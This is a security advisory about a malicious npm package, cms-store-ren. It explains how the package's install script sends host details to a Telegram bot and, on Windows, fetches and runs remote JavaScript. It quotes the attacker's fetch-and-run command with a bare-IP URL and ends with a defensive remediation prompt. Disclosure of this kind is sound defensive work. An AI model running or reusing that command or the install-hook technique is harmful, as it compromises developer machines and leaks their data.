# MAL-2026-5364: Malicious code in cms-store-ren (npm)


- **Type:** Malicious package
- **Package:** `cms-store-ren` (npm)
- **Published:** 4 Jun 2026

## What is MAL-2026-5364?

MAL-2026-5364 is a malicious package in cms-store-ren, published on 4 Jun 2026. 

### Official description

The package's `scripts.install` runs `install.js` on every `npm install`. The script unconditionally POSTs the installer's hostname, OS, and architecture to api.telegram.org using a hardcoded bot token and chat ID (install.js:7 `BOT_TOKEN = '8877182499:...'`, install.js:50-56 builds the message and sends via `sendTelegramMessage()`). On Windows, the same script writes a hidden PowerShell bootstrapper that installs Scoop/Winget and Deno, then executes `deno -A http://77.90.185.225/deee80f30a6921b4.js` — fetching an arbitrary JavaScript payload from a bare-IP HTTP URL and running it with all Deno permissions under a hidden PowerShell window. The package has no legitimate functionality (`index.js` only logs a string; placeholder author `work1`, description `cms install`) and exists solely to deliver the install-time payload. Both install-time host reconnaissance exfiltration and install-time arbitrary remote code execution from attacker infrastructure are present.

The OpenSSF Package Analysis project identified 'cms-store-ren' @ 1.1.1 (npm) as malicious.

It is considered malicious because:

- The package communicates with a domain associated with malicious activity.

## What should I do about MAL-2026-5364?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-5364 is a malicious package: cms-store-ren (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-5364/ (Markdown: https://insights.sbomify.com/MAL-2026-5364/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-5364

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-5364/
Summaries are generated and may contain mistakes; the official description above is the record.